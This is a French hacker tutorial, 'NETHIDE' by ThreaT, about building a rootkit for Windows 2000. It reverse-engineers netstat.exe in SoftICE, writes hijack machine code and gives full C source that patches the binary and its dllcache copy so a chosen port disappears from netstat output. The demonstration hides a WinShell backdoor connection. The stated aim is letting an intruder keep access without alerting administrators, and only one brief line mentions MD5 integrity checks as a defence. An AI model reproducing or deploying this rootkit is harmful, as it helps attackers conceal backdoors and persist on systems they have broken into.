########################################################################################## #####################################[ NETHIDE ]########################################## ########################################################################################## ------------------------------------------------------------------------------------------ - A Rootkit for netstat under win2k, By ThreaT ------------------------------------------------------------------------------------------ ########################################################################################## ########################################################################################## FFFF:0000 pour débuter ce petit exposé technique, nous allons deja répondre aux questions élémentaires qui permettront à tout le monde (du moins, je l'espère) de comprendre quelque chose à cet article. Un rootkit, qu'est ce que c'est? A quoi sert un rootkit? Comment utiliser un rootkit? Comment ce prémunir des rootkits? Comment faire un rootkit? Bon, un rootkit est un utilitaire qui vas patcher ou remplacer des versions existantes de programme sur un serveur de façon à ce qu'un intrus puisse avoir un meilleur contrôle sur celui ci. Le rootkit sert surtout aux personnes qui veulent avoir accès à un système le plus longtemps possible sans trop eveiller les soupçons des administrateurs officiels ;) Si utiliser un rootkit n'a pas l'air d'être une chose très difficile, il vous faut quand même reussir à obtenir un accès sur la machine que vous desirez rootkiter! car le rootkit ne s'installe qu'une fois avoir pris le contrôle de votre cible. Pour se prémunir efficacement des rootkits, il vous faut un utilitaire qui soit capable de verifier en permanence que l'integrité de vos programmes n'a pas été violée! La meilleur solution pour une telle tache est d'installer sur vos serveurs sensibles une application qui controle vos binaires grâce à la signature MD5. Quand à la façon de faire un rootkit, nous allons etudier cela tout de suite :) ------------------------------- -> La naissance d'un rootkit <- ------------------------------- La naissance d'un rootkit vient du besoin pour certaine personne, de modifier, supprimer ou ajouter des fonctions à des programmes d'administrations afin que ceux ci soit plus appropriés à leurs activités :) pour vous le démontrer, nous allons regarder ensemble un programme qui a susciter (et qui suscite encore) une grande attention auprès des administrateurs diplomés jusqu'au bas ventre, et des administrateurs de l'ombre... j'ai biensur nommé, netstat.exe ----------------------- -> Analyse du besoin <- ----------------------- netstat est une commande DOS/CMD permettant d'afficher l'etat des connexions actives et des ports en ecoutes sur la machine local. Par exemple, voici ce qui s'affiche lorsque je suis connecté sur IRC C:\>netstat Connexions actives Proto Adresse locale Adresse distante Etat TCP azerty:1170 irc.planetinternet.be:6667 ESTABLISHED C:\> ok, regardons maintenant ou il peut se poser un probleme avec cette commande. Imaginons que ma machine soit un serveur sur lequel je vais installer un binder de shell. C:\>winshell.exe // hé hé, ça vas faire plaisir à Mr |Candy ça :) pour info, mon winshell a été paramétré pour ce binder sur le port 4250. C:\>netstat -an Connexions actives Proto Adresse locale Adresse distante Etat TCP 0.0.0.0:7 0.0.0.0:0 LISTENING TCP 0.0.0.0:9 0.0.0.0:0 LISTENING TCP 0.0.0.0:13 0.0.0.0:0 LISTENING TCP 0.0.0.0:17 0.0.0.0:0 LISTENING TCP 0.0.0.0:19 0.0.0.0:0 LISTENING TCP 0.0.0.0:42 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1034 0.0.0.0:0 LISTENING TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING TCP 0.0.0.0:1036 0.0.0.0:0 LISTENING TCP 0.0.0.0:1170 0.0.0.0:0 LISTENING TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING TCP 0.0.0.0:4250 0.0.0.0:0 LISTENING <-- Winshell TCP 0.0.0.0:44334 0.0.0.0:0 LISTENING TCP 220.214.14.2:139 0.0.0.0:0 LISTENING TCP 220.214.14.2:1170 194.119.238.162:6667 ESTABLISHED <--ma connexion IRC UDP 0.0.0.0:7 *:* UDP 0.0.0.0:9 *:* UDP 0.0.0.0:13 *:* UDP 0.0.0.0:17 *:* UDP 0.0.0.0:19 *:* UDP 0.0.0.0:42 *:* UDP 0.0.0.0:135 *:* UDP 0.0.0.0:445 *:* UDP 0.0.0.0:1026 *:* UDP 0.0.0.0:1033 *:* UDP 0.0.0.0:1037 *:* UDP 0.0.0.0:44334 *:* UDP 212.198.174.21:137 *:* UDP 212.198.174.21:138 *:* UDP 212.198.174.21:500 *:* C:\> Donc, deja, chose genante (pour nous attaquant), un administrateur a la possibilité de voir qu'un programme louche est en écoute sur le port 4250 :( je vais maintenant me connecter à ce shell, pour que ceux qui n'ont pas bien compris voient ou ce trouve le reel problème :) C:\>telnet 127.0.0.1 4250 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. :monpassword WinShell v3.0 (C)2001 by janker http://www.red8black.com ? for help CMD> ok, j'ai mon shell! now, look at this C:\>netstat -an | find /i "4250" TCP 0.0.0.0:4250 0.0.0.0:0 LISTENING <- mon winshell TCP 127.0.0.1:1421 127.0.0.1:4250 ESTABLISHED <-loop back (on s'en fout) TCP 127.0.0.1:4250 127.0.0.1:1421 ESTABLISHED <- mon IP connecté à winshell! Comme vous pouvez le voir, netstat est un traitre qui n'hesiteras pas à reveler votre IP au premier admin du dimanche venu! Mais alors, quel est la solution? La solution est de reverser netstat.exe de façon à ce qu'il n'affiche plus l'etat de connexion sur le port 4250 ou tout autre port que nous aurons choisi! Simple à dire, mais un peu plus difficile à faire. Pour arriver à faire quelque chose de discret et acceptable (et surtout pour que nos chères admins payés 250kf n'y voient que du feu), il vas falloir tracer sans relache les quelques 5000 lignes de code ASM qui constituent notre fichier exe pour y trouver la fonction traitre! Une fois cette fonction parfaitement localisée et comprise, il vas nous falloir trouver un moyen de dejouer son plan, en recodant une partie de celle ci directement en memoire. Et quand tout seras fini, il ne nous resteras plus qu'à ecrire notre exploit, qui nous permettras de patcher dynamiquement ce fameux netstat.exe, qui pourras donner joyeusement à nos chères comfrères de la lumière une information éronnée, selon notre guise :) Si le programme vous plait, on vas pouvoir commencer -> etape 1 : Retrouver la fonction traitre Nous allons commencer par desassembler ce petit exe pour analyser les Data Strings Ref, et les fonctions importées histoire de voir ce qui pourrait nous mettre sur une piste... Je rappelle que nous cherchons des informations d'affichages. ---------------|Data Strings Referances for netstat.exe|--------------- " %s " "%02x-%02X-%02X-%02X-%02X-%02X" <-- interressant "%2d." "%3d." "%d." "%s:%s" <-- interressant "%u.%u.%u.%u" <-- interressant "GetTable: type = %d" "ICMP" "inetmib1.dll" "mgmtapi.dll" "ReadTable: type = %d" "route print" "SnmpExtensionInit" "SnmpExtensionQuery" "SnmpMgrOidToStr" "tcp" <-- interressant "TCP" <-- interressant "udp" <-- interressant "UDP" <-- interressant "value=%8d oid= " ---------------------------------|EOF|------------------------------------ -------------------|Import Fonctions of netstat.exe|---------------------- KERNEL32.FormatMessageA <-- interressant KERNEL32.GetLastError KERNEL32.GetProcAddress KERNEL32.LoadLibraryA KERNEL32.LocalFree KERNEL32.Sleep MSVCRT.__getmainargs MSVCRT.__p___initenv MSVCRT.__p__commode MSVCRT.__p__fmode MSVCRT.__set_app_type MSVCRT.__setusermatherr MSVCRT._controlfp MSVCRT._except_handler3 MSVCRT._exit MSVCRT._initterm MSVCRT._setmode MSVCRT._strupr MSVCRT._XcptFilter MSVCRT.exit MSVCRT.fprintf <-- interressant MSVCRT.sprintf <-- interressant MSVCRT.sscanf MSVCRT.strchr MSVCRT.system MSVCRT.time MSVCRT.toupper snmpapi.SnmpUtilMemAlloc snmpapi.SnmpUtilMemFree snmpapi.SnmpUtilOidCpy snmpapi.SnmpUtilVarBindFree USER32.CharToOemBuffA <-- interressant WSOCK32.gethostbyaddr WSOCK32.gethostname WSOCK32.getservbyport WSOCK32.htons WSOCK32.WSAStartup ------------------------------------------------------------------- bon, maintenant que nous avons vus ça, on peut sortir notre chien de combat C:\>net start ntice Le service NTice a démarré. C:\> ok, nous allons tracer le prog pour savoir exactement ou ce trouve la fonction, qui a pour tache d'ecrire sur la sortie standard les précieuses informations. nous allons donc commencer par jetter un oeil sur la data string faisant reference à tcp, ce qui nous donne : * Possible StringData Ref from Code Obj ->"tcp" :01001D9B BF64110001 mov edi, 01001164 :01001DA0 FF7610 push [esi+10] :01001DA3 C745F8CC010000 mov [ebp-08], 000001CC :01001DAA 0F95C0 setne al :01001DAD FF760C push [esi+0C] :01001DB0 89450C mov dword ptr [ebp+0C], eax :01001DB3 57 push edi :01001DB4 6A01 push 00000001 :01001DB6 50 push eax :01001DB7 8D45F8 lea eax, dword ptr [ebp-08] :01001DBA 50 push eax :01001DBB 8D8560FCFFFF lea eax, dword ptr [ebp+FFFFFC60] :01001DC1 50 push eax :01001DC2 E8FA000000 call 01001EC1 :01001DC7 8B4608 mov eax, dword ptr [esi+08] :01001DCA 48 dec eax :01001DCB 83F80A cmp eax, 0000000A :01001DCE 775D ja 01001E2D :01001DD0 FF2485951E0001 jmp dword ptr [4*eax+01001E95] :01001DD7 6851270000 push 00002751 :01001DDC EB47 jmp 01001E25 :01001DDE 895E18 mov dword ptr [esi+18], ebx :01001DE1 6852270000 push 00002752 :01001DE6 EB3D jmp 01001E25 :01001DE8 6853270000 push 00002753 :01001DED EB36 jmp 01001E25 :01001DEF 6854270000 push 00002754 :01001DF4 EB2F jmp 01001E25 :01001DF6 6855270000 push 00002755 :01001DFB EB28 jmp 01001E25 :01001DFD 6856270000 push 00002756 :01001E02 EB21 jmp 01001E25 :01001E04 6857270000 push 00002757 :01001E09 EB1A jmp 01001E25 :01001E0B 6858270000 push 00002758 :01001E10 EB13 jmp 01001E25 :01001E12 6859270000 push 00002759 :01001E17 EB0C jmp 01001E25 :01001E19 685A270000 push 0000275A :01001E1E EB05 jmp 01001E25 :01001E20 685B270000 push 0000275B * Referenced by a (U)nconditional or (C)onditional Jump at Addresses: |:01001DDC(U), :01001DE6(U), :01001DED(U), :01001DF4(U), :01001DFB(U) |:01001E02(U), :01001E09(U), :01001E10(U), :01001E17(U), :01001E1E(U) | :01001E25 E8C1120000 call 010030EB :01001E2A 59 pop ecx :01001E2B 8BD8 mov ebx, eax * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:01001DCE(C) | :01001E2D FF7618 push [esi+18] :01001E30 8D45F8 lea eax, dword ptr [ebp-08] :01001E33 C745F8CC010000 mov [ebp-08], 000001CC :01001E3A FF7614 push [esi+14] :01001E3D 57 push edi :01001E3E 6A00 push 00000000 :01001E40 FF750C push [ebp+0C] :01001E43 50 push eax :01001E44 8D852CFEFFFF lea eax, dword ptr [ebp+FFFFFE2C] :01001E4A 50 push eax :01001E4B E871000000 call 01001EC1 :01001E50 85DB test ebx, ebx :01001E52 750B jne 01001E5F :01001E54 FF75FC push [ebp-04] * Reference To: KERNEL32.LocalFree, Ord:01E9h | :01001E57 FF1500100001 Call dword ptr [01001000] :01001E5D EB2F jmp 01001E8E * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:01001E52(C) | :01001E5F 8D852CFEFFFF lea eax, dword ptr [ebp+FFFFFE2C] :01001E65 53 push ebx :01001E66 50 push eax :01001E67 8D8560FCFFFF lea eax, dword ptr [ebp+FFFFFC60] :01001E6D 50 push eax :01001E6E FF75FC push [ebp-04] :01001E71 6850270000 push 00002750 :01001E76 6A01 push 00000001 :01001E78 E8DE110000 call 0100305B * Reference To: KERNEL32.LocalFree, Ord:01E9h | :01001E7D 8B3500100001 mov esi, dword ptr [01001000] :01001E83 83C418 add esp, 00000018 :01001E86 FF75FC push [ebp-04] :01001E89 FFD6 call esi :01001E8B 53 push ebx :01001E8C FFD6 call esi une fois cette portion de code localisée, nous allons utiliser le Softice Symbol Loader pour tracer cette fonction. ========================= C:\WINNT\system32\netstat.exe opened successfully Translating C:\WINNT\system32\netstat.exe. . . Error: Unexpected exception An error occured during symbol translation/load. Load executable anyway? -> oui Loading module C:\WINNT\system32\netstat.exe. . . Module C:\WINNT\system32\netstat.exe successfully loaded boom, on arrive sous softice en plein dans le code start de netstat.exe donc, a partir d'ici, nous allons appliquer un breakpoint sur ce qui nous interressent, en l'occurence 01001D9B -----[ softice ]----- :bpx 1001d9b je fait CTRL+D et la je vois s'afficher sur la console ------[Shell CMD]-------------------------------------------- Connexions actives Proto Adresse locale Adresse distante Etat -------------------------------------------------------------- et softice réapparait en pointant sur l'adresse de notre breakpoint. (pour une visualisation du code, cf au dessus) donc la je trace avec F10 jusqu'a ce que je vois quelque chose d'interressant... et la, la révélation 01001E78 E8DE110000 call 0100305B voici ce qui se passe une fois que je passe ce call avec F10 ------[Shell CMD]-------------------------------------------- Connexions actives Proto Adresse locale Adresse distante Etat TCP azerty:1633 irc.planetinternet.be:6662 ESTABLISHED -------------------------------------------------------------- une première ligne apparait !! en faisant des test avec netstat -an, je m'aperçoit que netstat boucle sur ce call pour afficher chaque ligne faisant référence à une connexion TCP :) pour en avoir le coeur net, regardons le code lié à la data string de udp * Possible StringData Ref from Code Obj ->"udp" :01002050 6884110001 push 01001184 :01002055 6A01 push 00000001 :01002057 0F95C0 setne al :0100205A 50 push eax :0100205B 8D45FC lea eax, dword ptr [ebp-04] :0100205E 50 push eax :0100205F 8D8530FEFFFF lea eax, dword ptr [ebp+FFFFFE30] :01002065 50 push eax :01002066 E856FEFFFF call 01001EC1 :0100206B 685E270000 push 0000275E :01002070 E876100000 call 010030EB :01002075 8BF8 mov edi, eax :01002077 59 pop ecx :01002078 85FF test edi, edi :0100207A 7509 jne 01002085 :0100207C 56 push esi * Reference To: KERNEL32.LocalFree, Ord:01E9h :0100207D FF1500100001 Call dword ptr [01001000] :01002083 EB29 jmp 010020AE * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0100207A(C) :01002085 6880110001 push 01001180 :0100208A 8D8530FEFFFF lea eax, dword ptr [ebp+FFFFFE30] :01002090 57 push edi :01002091 50 push eax :01002092 56 push esi :01002093 6850270000 push 00002750 :01002098 6A01 push 00000001 :0100209A E8BC0F0000 call 0100305B <-- Yesss :0100209F 83C418 add esp, 00000018 :010020A2 56 push esi en faisant les mêmes test avec softice, on remarque que la réaction avec ce call est similaire, mais en traitant les connexions UDP. Ce qui veut dire que nous avons notre fonction :) ------------|fonction traitre de win2k netstat|------------- :0100305B 55 push ebp :0100305C 8BEC mov ebp, esp <-- initialise la pile :0100305E 51 push ecx :0100305F 51 push ecx :01003060 8D4510 lea eax, dword ptr [ebp+10] :01003063 53 push ebx :01003064 8945F8 mov dword ptr [ebp-08], eax :01003067 8D45F8 lea eax, dword ptr [ebp-08] :0100306A 56 push esi :0100306B 50 push eax :0100306C 33F6 xor esi, esi :0100306E 8D45FC lea eax, dword ptr [ebp-04] :01003071 56 push esi :01003072 50 push eax :01003073 56 push esi :01003074 FF750C push [ebp+0C] :01003077 56 push esi :01003078 6800090000 push 00000900 * Reference To: KERNEL32.FormatMessageA, Ord:00BEh | :0100307D FF1504100001 Call dword ptr [01001004] <-- formate la ligne qui :01003083 8BD8 mov ebx, eax vas etre passer a la sortie :01003085 3BDE cmp ebx, esi standard :01003087 7504 jne 0100308D :01003089 33C0 xor eax, eax :0100308B EB5A jmp 010030E7 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:01003087(C) | :0100308D A13C100001 mov eax, dword ptr [0100103C] :01003092 837D0802 cmp dword ptr [ebp+08], 00000002 :01003096 57 push edi :01003097 8D7040 lea esi, dword ptr [eax+40] :0100309A 7403 je 0100309F :0100309C 8D7020 lea esi, dword ptr [eax+20] * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0100309A(C) | :0100309F 6800800000 push 00008000 :010030A4 FF7610 push [esi+10] * Reference To: MSVCRT._setmode, Ord:01A8h | :010030A7 FF155C100001 Call dword ptr [0100105C] :010030AD 8B7DFC mov edi, dword ptr [ebp-04] :010030B0 59 pop ecx :010030B1 59 pop ecx :010030B2 33C0 xor eax, eax :010030B4 83C9FF or ecx, FFFFFFFF :010030B7 F2 repnz :010030B8 AE scasb :010030B9 F7D1 not ecx :010030BB 49 dec ecx :010030BC 51 push ecx :010030BD FF75FC push [ebp-04] <-- push la chaine en buffer d'entrée :010030C0 FF75FC push [ebp-04] <-- push la meme chaine en buffer de sortie * Reference To: USER32.CharToOemBuffA, Ord:002Ch | :010030C3 FF157C100001 Call dword ptr [0100107C] <-- appelle l'API :010030C9 FF75FC push [ebp-04] :010030CC 683C120001 push 0100123C :010030D1 56 push esi * Reference To: MSVCRT.fprintf, Ord:0255h | :010030D2 FF1538100001 Call dword ptr [01001038] <-- print la chaine (dans un fichier??) :010030D8 83C40C add esp, 0000000C :010030DB FF75FC push [ebp-04] * Reference To: KERNEL32.LocalFree, Ord:01E9h | :010030DE FF1500100001 Call dword ptr [01001000] :010030E4 8BC3 mov eax, ebx :010030E6 5F pop edi * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0100308B(U) | :010030E7 5E pop esi :010030E8 5B pop ebx :010030E9 C9 leave :010030EA C3 ret <-- fin ---------------------------------------------------------------- Voici donc la fonction que nous allons etudier, patcher et reverser :) Nous venons de faire le plus facile, c'est à dire de localiser le code à modifier. Il vas maintenant falloir le tracer a fond en analysant chaque registre pour pouvoir ce faire une idée de l'attaque que nous allons pouvoir porter. Comme je suis gentil, je vais vous epargner la grosse prise de tete, et ne vous choisir que les moments interressants :) C'est parti pour une session de reverse engineering tout d'abord, nous allons appliquer un break point sous softice de la façon suivante -------[softice]-------------------- :bpx 0100305B CTRL+D ------------------------------------ ensuite, j'execute netstat ------[Shell CMD]-------------------- C:\>netstat -an -------------------------------------- boum, on reviens à softice.. donc, la, on commence à tracer comme des malades avec F10, et à fouiller comme des 'V' sur tout les registres ainsi que sur l'etat de la pile à l'aide des commandes 'd*' voici à peu près ce qu'il en ressort... 0100305B 55 push ebp 0100305C 8BEC mov ebp, esp 0100305E 51 push ecx [...] // ; rien d'interressant 0100307D FF1504100001 Call dword ptr [KERNEL32!FormatMessageA] <- good une fois que cette API est appellée, [EBP+04] possede la chaine qui vas être diffusée sur la sortie standard :) 01003083 8BD8 mov ebx, eax 01003085 3BDE cmp ebx, esi <- regarde si la chaine est vide 01003087 7504 jne 0100308D <- si pas vide jump pour l'afficher 01003089 33C0 xor eax, eax <- si vide, remet eax a 0 0100308B EB5A jmp 010030E7 <- jump pour bypass l'affichage :) donc, cette fonction est très interressante, car c'est ici que netstat determine si une ligne doit être affichée ou pas :)) 0100308D A13C100001 mov eax, dword ptr [0100103C] 01003092 837D0802 cmp dword ptr [ebp+08], 00000002 [...] // pas interressant 010030BC 51 push ecx 010030BD FF75FC push [ebp-04] 010030C0 FF75FC push [ebp-04] On vois clairement ici que [EBP-04] alias notre chaine, est placé sur la pile pour être traitée par l'API CharToOemBuffA. information au sujet de cette api { CharToEomBuff() converti une chaine à partir du jeu de caractères de la localité courante vers un caractère OEM. Syntaxe : BOOL CharToOemBuff (LPCTSTR lpszsource, LPSTR lpszdest, int nlength) } ce qui veut dire que la longueur de la chaine est placé en ECX 010030C3 FF157C100001 Call dword ptr [USER32!CharToOemBuffA] <-- appelle l'API 010030C9 FF75FC push [ebp-04] <- push la chaine converti OEM 010030CC 683C120001 push 0100123C 010030D1 56 push esi 010030D2 FF1538100001 Call dword ptr [MSVCRT.fprintf] <-- print la chaine 010030D8 83C40C add esp, 0000000C 010030DB FF75FC push [ebp-04] 010030DE FF1500100001 Call dword ptr [KERNEL32.LocalFree] ; libère les ressources 010030E4 8BC3 mov eax, ebx 010030E6 5F pop edi 010030E7 5E pop esi <-- notre jmp vers la fin pointe ici 010030E8 5B pop ebx 010030E9 C9 leave 010030EA C3 ret Après cette petite etude technique, nous arrivons enfin à la partie interressante, celle ou nous allons aborder une approche d'attaque. tout d'abord, il nous faut choisir la portion de code à detourner, puis trouver où placer les octets qui vont contenir notre hijacked code. Pour ma part, j'ai décidé de placer mon code à la fin du fichier, qui contient au moins 480 Bytes de dup memoire! :01003622 00000000000000000000 BYTE 10 DUP(0) :0100362C 00000000000000000000 BYTE 10 DUP(0) [...] :010037EE 00000000000000000000 BYTE 10 DUP(0) :010037F8 00000000000000000000 BYTE 10 DUP(0) hé hé, ça vas me permettre de coder comme un porc, et croyez moi, je ne vais pas m'en priver ;) Bon, maintenant que nous savons ou vas être redirigé notre hijacked call, il faut connaitre parfaitement le contexte de detournement, afin que la Pile, les registres, et la position des differents flags ne soit pas trop different de l'etat original! Etudions notre cas précis nous allons detourner cette portion de code 01003083 8BD8 mov ebx, eax 01003085 3BDE cmp ebx, esi 01003087 7504 jne 0100308D 01003089 33C0 xor eax, eax 0100308B EB5A jmp 010030E7 ce qui veut dire que nous ne possedons que 10 bytes de manoeuvre. il vas donc falloir etudier la chose pour optimiser cette partie du patch au maximum mov ebx, eax <-- met dans ebx, eax (rien à foutre, on peut virer) cmp ebx, esi <-- fait la comparaison de ebx avec esi (rien à foutre, on peut virer aussi) jne 0100308D <-- si ZF = 0, affiche la string xor eax, eax <-- sinon, remet eax a 0 jmp 010030E7 <-- jump a la fin, et n'affiche pas la string bon, sachant qu' il vas deja nous falloir 5 Byte pour placer notre call 1003622 nous allons devoir sacrifier une instruction, car nous avons 1 byte de trop. on vas donc wiper la remise a 0 de eax, de toute façon, nous pourrons toujours remetre ce registre à 0 dans notre code de porc :) /* { NB: Au moment ou j'ecris cet article, je me rend compte que j'ai oublié de remettre eax a 0 dans l'hijack code. Bonne nouvelle, ça marche quand même, ce qui nous permettra de gagner 2 octets :) fin de la parenthèse } */ Le patch nous donne alors un code du style :01003083 E89A050000 call 01003622 <- 5 Bytes pour le call (qui remplace les trucs merdiques) :01003088 7503 jne 0100308D <- 2 Bytes pour le jne :0100308A EB5B jmp 010030E7 <- 2 Byees pour le jmp :0100308C 90 nop <- un nop pour bien coller avec la suite ---------------------- -> Le hijacked code <- ---------------------- Notre comparaison binaire etant detourné par un call, il vas maintenant falloir écrire nous même une fonction directement en memoire, qui vas s'occuper de comparer le port que nous voulons cacher, avec le port local specifié dans la prochaine occurence de netstat. Notre fonction doit determiner si oui ou non, nous autoriserons l'affichage de la prochaine ligne en cours de traitement, et cela dynamiquement. Les infos à connaitres : -> ou est placer la string à scanner et à verifier? -> Quel est l'etat des registres au moment de notre call? -> comment definir la condition de retour? Comme nous avons pu le voir au dessus, dans notre petite session de reverse engineering, la str à scanner et vérifier ce trouve à [EBP-4]. Il nous suffiras de loader cette valeur dans un registre pour effectuer un traitement sur celle ci. L'etat des registres aux moment du call est à peu près de cet ordre EAX=42 ou 55 EBX=0 ECX=une valeur EDX=une valeur EDI=0 Ce qui veut dire que nous pouvons utiliser arbitrairement EBX et EDI sans avoir à toucher la pile. Il nous suffiras de les remettres à 0 au moment du retour. ECX etant le registre d'incrementation, celui ci devras etre utilisé pour scanner la str. (question d'habitude est de gout), nous devrons donc mettre en place une sauvegarde de ce registre sur la pile avant toute manipulation. Pour definir le code de retour, nous allons procéder de la manière suivante : sachant qu'un XOR met ZF à 1, et qu'un test negatif met ZF à 0, il nous suffiras de choisir l'une ou l'autre de ces instruction pour que le jne agisse en consequence. Rappelle, JNE saute si ZF = 0 Maintenant que nous avons toutes les informations pour bosser, l'ecriture du Hcode vas être du gateau. Let's do it ! 01003622 8B5DFC mov ebx, dword ptr [ebp-04] // place l'adresse de la str dans EBX 01003625 51 push ecx // Sauvegarde ECX sur la pile pour l'incrémentation 01003626 B900000000 mov ecx, 00000000 // initialise ECX à 0 0100362B 41 inc ecx <-- debut de la boucle // ajoute 1 à ECX 0100362C 803C0B3A cmp byte ptr [ebx+ecx], 3A // Compare le premier caractère pointé par EBP avec le caractère ':' (ASCII 3A) 01003630 75F9 jne 0100362B // si le caractère courant n'est pas un ':' alors, on boucle 01003632 8B340B mov esi, dword ptr [ebx+ecx] // si le caractere est ':', on place dans ESI le mot qui correspond 01003635 81FE3A313633 cmp esi, 3336313A // on compare ESI avec la première section du port à cacher. // ici notre comparaison ce fait avec :163 car ASCII 33 = 3, 36 = 6, 31 = 1 et 3A = : 0100363B 7514 jne 01003651 // si ESI est different de la première partie du port à cacher, on saute à la procedure // qui autorise l'affichage 0100363D 83C104 add ecx, 00000004 // si ESI est egal a la première partie de notre port, on incremente ECX de 4 pour pouvoir // loader la 2eme partie 01003640 8B340B mov esi, dword ptr [ebx+ecx] //load la 2eme partie du port dans ESI 01003643 81FE33202020 cmp esi, 20202033 // compare ESI avec la 2eme section du port à cacher // ici, notre comparaison ce fait avec 3 car ASCII 20 = 'blanc' et 33 = 3 // ce qui veut dire que le port que l'on voulait cacher au depart etait le 1633 :) 01003649 7506 jne 01003651 // si ESI est different de la 2eme partie du port à cacher, on saute a la procedure // qui autorise l'affichage 0100364B 59 pop ecx // sinon, on remet ECX comme on l'avait trouvé 0100364C 33DB xor ebx, ebx // on remet ebx a 0 0100364E 33F6 xor esi, esi // pareil pour esi 01003650 C3 ret // puis on retourne dans le programme /* A ce stade, le xor a forcer ZF à 1, ce qui veut dire que le jne de retour ne seras pas */ /* executé, donc, la ligne qui contient le port que nous desiront cacher ne seras pas */ /* affichée :)) */ 01003651 59 pop ecx <- le jump qui autorise l'affichage pointe ici // remet ECX a sa valeur initial 01003652 33DB xor ebx, ebx // remet ebx a 0 01003654 33F6 xor esi, esi // remet esi a 0 01003656 A966060000 test eax, 00000666 // The number of the beast ;-p // ici, nous faisons un test bidon avec EAX de facon à forcer ZF à passer à 0 0100365B C3 ret //retour /* A ce stade, ZF etant à 0, le jne de retour seras executé, entrainant la chaine en cours */ /* de traitement à être affichée sur la sortie */ Je maintiens que ce Hcode est un pur truc de porc! et qu'en ecrivant l'article, j'ai trouvé au moins 3 façons de l'optimiser. Cependant, je tiens à faire remarquer que le Hcode à été codé directement en memoire, ce qui implique une très faible souplesse de maniabilité des instructions. Au moins, tout ceci à le mérite de marcher :) Bon, et ben voila, maintenant que nous avons tout pacther en memoire il ne nous reste plus qu'à coder le rootkit et à le tester :)) -------------------------------------[nethide.c]--------------------------------------- #include #include #include #define taille 28432 #define offprelude 9859 #define offcode 11298 int main (int argc, char *argv[]) { int i; char port[6]; char version[7]; char *netstat; char buff[taille]; char *env=getenv ("systemroot"); FILE *nethnd; char prelude[]="\xE8\x9A\x05\x00\x00\x75\x03\xEB\x5B\x90"; char code[]="\x8B\x5D\xFC\x51\xB9\x00\x00\x00\x00\x41\x80\x3C\x0B" "\x3A\x75\xF9\x8B\x34\x0B\x81\xFE\x3A\x20\x20\x20\x75" "\x14\x83\xC1\x04\x8B\x34\x0B\x81\xFE\x20\x20\x20\x20" "\x75\x06\x59\x33\xDB\x33\xF6\xC3\x59\x33\xDB\x33\xF6" "\xA9\x66\x06\x00\x00\xC3"; printf ("-----------------------------------\n"); printf ("Nethide for win2k, coded by ThreaT!\n"); printf ("-----------------------------------\n\n"); printf (" URL : http://www.chez.com/mvm\n"); printf ("Contact : ThreaT@Caramail.com\n"); if (!argv[1]) { printf ("\nUsage : %s \n",argv[0]); exit(0); } strncpy (port,argv[1],6); for ( i=0 ; i < 7 ; i++) if (port[i] == 0x00) port[i]=0x20; netstat = malloc (sizeof(env) + 34); strcpy (netstat,env); strcat (netstat,"\\system32\\netstat.exe"); nethnd = fopen (netstat,"rb"); if (nethnd == NULL) { printf ("Impossbible d'ouvrir netstat.exe\n"); exit(0); } fread (buff,1,taille,nethnd); for (i=0; i<7 ; i++) version[i]=buff[8720+i]; if (strcmp(version,"tTHt0Ht") != 0) { printf ("\n\nCe rootkit ne marche que pour la version 5.00.2134.1 de netstat.exe!\n"); exit(0); } for ( i=0 ; i < 3 ; i++) code[22+i] = port[i]; for ( i=0 ; i < 4 ; i++) code[35+i] = port[3+i]; for ( i=0 ; i < 10 ; i++) buff[offprelude+i]=prelude[i]; for (i=0 ; i < 58 ; i++) buff[offcode+i]=code[i]; nethnd = freopen (netstat,"wb",nethnd); fwrite (buff,1,taille,nethnd); sprintf (netstat,"%s\\system32\\dllcache\\netstat.exe",env); nethnd = freopen (netstat,"wb",nethnd); fclose (nethnd); printf ("\nNETSTAT.EXE is PATCHED!, hidden Port is %s\n",port); return(0); } -------------------------------------------------------------------------------------------- C:\projet\nethide\>bcc32 -I"\include" -L"\lib" nethide.c Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland nethide.c: Warning W8057 nethide.c 87: Parameter 'argc' is never used in function main Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland C:\>projet\nethide\> le Meilleur moment, celui ou on vas tester notre rootkit :) * - * - * - * - * - * - * - * - * - * C:\>winshell.exe C:\>telnet 127.0.0.1 4250 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. :monpassword WinShell v3.0 (C)2001 by janker http://www.red8black.com ? for help CMD> * - * - * - * - * - * - * - * - * - * C:\>projet\nethide\>netstat Connexions actives Proto Adresse locale Adresse distante Etat TCP azerty:2081 azerty:4250 ESTABLISHED <- loopback (on s'en fout) TCP azerty:4250 azerty:2081 ESTABLISHED <- connexion winshell C:\>projet\nethide\>netstat -an Connexions actives Proto Adresse locale Adresse distante Etat TCP 0.0.0.0:7 0.0.0.0:0 LISTENING TCP 0.0.0.0:9 0.0.0.0:0 LISTENING TCP 0.0.0.0:13 0.0.0.0:0 LISTENING TCP 0.0.0.0:17 0.0.0.0:0 LISTENING TCP 0.0.0.0:19 0.0.0.0:0 LISTENING TCP 0.0.0.0:42 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1034 0.0.0.0:0 LISTENING TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING TCP 0.0.0.0:1036 0.0.0.0:0 LISTENING TCP 0.0.0.0:1633 0.0.0.0:0 LISTENING TCP 0.0.0.0:2081 0.0.0.0:0 LISTENING TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING TCP 0.0.0.0:4250 0.0.0.0:0 LISTENING <--winshell TCP 0.0.0.0:44334 0.0.0.0:0 LISTENING TCP 127.0.0.1:2081 127.0.0.1:4250 ESTABLISHED <- loopback (on s'en fout) TCP 127.0.0.1:4250 127.0.0.1:2081 ESTABLISHED <- connexion 